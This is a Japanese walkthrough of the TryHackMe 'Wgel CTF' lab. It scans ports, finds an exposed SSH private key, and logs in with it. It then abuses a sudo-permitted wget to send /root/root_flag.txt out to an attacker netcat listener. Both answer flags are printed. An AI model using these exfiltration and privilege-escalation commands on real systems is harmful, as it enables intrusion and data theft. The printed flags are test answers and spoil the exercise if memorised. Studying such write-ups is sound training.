【TryHackMe】Wgel CTF：Walkthrough

# 概要

TryHackMe「Wgel CTF」ルームのWalkthroughです。

https://tryhackme.com/r/room/wgelctf

# Task1

## **Q1**.*User flag*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -A -T4 -sV -p- 10.10.136.222 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:96:1b:66:80:1b:76:48:68:2d:14:b5:9a:01:aa:aa (RSA)
|   256 18:f7:10:cc:5f:40:f6:cf:92:f8:69:16:e2:48:f4:38 (ECDSA)
|_  256 b9:0b:97:2e:45:9b:f3:2a:4b:11:c7:83:10:33:e0:ce (ED25519)
80/tcp    open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.2p2|
|80|http|Apache httpd 2.4.18|

ディレクトリの列挙を行います。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.136.222/FUZZ -recursion -recursion-depth 1 -ic -c
                        [Status: 200, Size: 11374, Words: 3512, Lines: 379, Duration: 348ms]
sitemap                 [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 240ms]
images                  [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 245ms]
css                     [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 244ms]
js                      [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 243ms]
```

`/sitemap`へアクセスするWebサイトが表示されました。

![home page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9198f5ec-db7e-790e-5c3b-af331894a04f.png)

サイトの挙動などを確認しましが、攻撃に使えそうなものは見つけられませんでした。

`dirsearch`で`/sitemap`配下を再度ディレクトリの列挙を行います。

```
$ dirsearch -u http://10.10.33.238/sitemap
[07:23:50] 301 -  317B  - /sitemap/js  ->  http://10.10.33.238/sitemap/js/  
[07:23:54] 200 -   14KB - /sitemap/.DS_Store
[07:24:01] 200 -    2KB - /sitemap/.sass-cache/
[07:24:01] 301 -  319B  - /sitemap/.ssh  ->  http://10.10.33.238/sitemap/.ssh/
[07:24:01] 200 -  461B  - /sitemap/.ssh/
[07:24:01] 200 -    2KB - /sitemap/.ssh/id_rsa
[07:24:08] 200 -    3KB - /sitemap/about.html
[07:24:40] 200 -    3KB - /sitemap/contact.html
[07:24:42] 301 -  318B  - /sitemap/css  ->  http://10.10.33.238/sitemap/css/
[07:24:51] 301 -  320B  - /sitemap/fonts  ->  http://10.10.33.238/sitemap/fonts/
[07:24:56] 301 -  321B  - /sitemap/images  ->  http://10.10.33.238/sitemap/images/
[07:24:56] 200 -    1KB - /sitemap/images/
[07:25:00] 200 -  813B  - /sitemap/js/
```

`/sitemap/.ssh/id_rsa`でSSHの秘密鍵を発見したのでローカルに保存します。

![id rsa.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3b3e7046-8081-5a19-44b0-114cb756067d.png)

SSHのユーザー名を探します。
ルートページのコメントアウトに`Jessie`というユーザー名を見つけました。

![user name.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/87848382-93dc-6c67-703e-73fb626d130e.png)

先ほど入手した秘密鍵を使用してSSHログインに成功しました。

```
$ ssh -i id_rsa jessie@10.10.57.67
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


8 packages can be updated.
8 updates are security updates.

jessie@CorpOne:~$
```

`/home/jessie/Documents/user_flag.txt`からフラグを入手します。

```
$ cat Documents/user_flag.txt 
057c67131c3d5e42dd5cd3075b198ff6
```

**A**.**057c67131c3d5e42dd5cd3075b198ff6**

## **Q2**.*Root flag*

`sudo -l`で確認すると`wget`コマンドがパスワードなしのrootユーザーとして実行できると分かりました。

GTFOBinsで確認すると`File upload`や`File read`項目が使えそうです。
今回は`File upload`の方法でフラグを獲得を目指します。

https://gtfobins.github.io/gtfobins/wget/

Netcatでリッスンします。

```
$ nc -lvnp 80
```

ユーザーフラグファイルからルートフラグファイル名を予測しました。
コマンドを実行します。

```
$ sudo /usr/bin/wget --post-file=/root/root_flag.txt 10.6.55.144
```

ファイルの中身が送られてきました。

```
b1b968b37519ad1daa6408188649263d
```

:::note info
`File read`の方法でもフラグを獲得できます。

```
$ sudo /usr/bin/wget -i /root/root_flag.txt
--2024-06-26 17:59:01--  http://b1b968b37519ad1daa6408188649263d/
Resolving b1b968b37519ad1daa6408188649263d (b1b968b37519ad1daa6408188649263d)... failed: Name or service not known.
wget: unable to resolve host address ‘b1b968b37519ad1daa6408188649263d’
```
:::

**A**.**b1b968b37519ad1daa6408188649263d**